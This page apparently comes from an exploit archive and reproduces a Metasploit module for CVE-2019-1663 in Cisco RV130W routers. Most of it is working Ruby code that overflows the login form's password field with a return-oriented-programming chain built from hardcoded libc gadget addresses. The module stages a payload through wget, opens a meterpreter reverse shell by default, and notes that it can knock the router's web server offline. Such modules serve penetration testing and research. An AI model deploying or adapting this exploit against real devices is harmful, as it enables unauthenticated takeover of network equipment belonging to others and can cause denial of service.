Cisco RV130W Routers Management Interface Remote Command Execution

2019.04.15
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # linux/armle/meterpreter/bind_tcp -> segfault # linux/armle/meterpreter/reverse_tcp -> segfault # linux/armle/meterpreter_reverse_http -> works # linux/armle/meterpreter_reverse_https -> works # linux/armle/meterpreter_reverse_tcp -> works # linux/armle/shell/bind_tcp -> segfault # linux/armle/shell/reverse_tcp -> segfault # linux/armle/shell_bind_tcp -> segfault # linux/armle/shell_reverse_tcp -> segfault # class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco RV130W Routers Management Interface Remote Command Execution', 'Description' => %q{ A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user. RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. Note: successful exploitation may not result in a session, and as such, on_new_session will never repair the HTTP server, leading to a denial-of-service condition. }, 'Author' => [ 'Yu Zhang', # Initial discovery 'Haoliang Lu', # Initial discovery 'T. Shiomitsu', # Initial discovery 'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev ], 'License' => MSF_LICENSE, 'Platform' => %w[linux], 'Arch' => [ARCH_ARMLE], 'SessionTypes' => %w[meterpreter], 'CmdStagerFlavor' => %w{ wget }, 'Privileged' => true, # BusyBox 'References' => [ ['CVE', '2019-1663'], ['BID', '107185'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'], ], 'DefaultOptions' => { 'WfsDelay' => 10, 'SSL' => true, 'RPORT' => 443, 'CMDSTAGER::FLAVOR' => 'wget', 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', }, 'Targets' => [ [ 'Cisco RV130/RV130W < 1.0.3.45', { 'offset' => 446, 'libc_base_addr' => 0x357fb000, 'system_offset' => 0x0004d144, 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; 'gadget2' => 0x00041308, # mov r0, sp; blx r2; 'Arch' => ARCH_ARMLE, } ], ], 'DisclosureDate' => 'Feb 27 2019', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SERVICE_DOWN, ], }, )) end def p(offset) [(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse end def prepare_shellcode(cmd) #All these gadgets are from /lib/libc.so.0 shellcode = rand_text_alpha(target['offset']) + # filler p(target['gadget1']) + p(target['system_offset']) + # r2 rand_text_alpha(4) + # r6 p(target['gadget2']) + # pc cmd shellcode end def send_request(buffer) begin send_request_cgi({ 'uri' => '/login.cgi', 'method' => 'POST', 'vars_post' => { "submit_button": "login", "submit_type": "", "gui_action": "", "wait_time": 0, "change_action": "", "enc": 1, "user": rand_text_alpha_lower(5), "pwd": buffer, "sel_lang": "EN" } }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") end end def exploit print_status('Sending request') execute_cmdstager end def execute_command(cmd, opts = {}) shellcode = prepare_shellcode(cmd.to_s) send_request(shellcode) end def on_new_session(session) # Given there is no process continuation here, the httpd server will stop # functioning properly and we need to take care of proper restart # ourselves. print_status("Reloading httpd service") reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\"" else session.shell_command(reload_httpd_service) end ensure super end end


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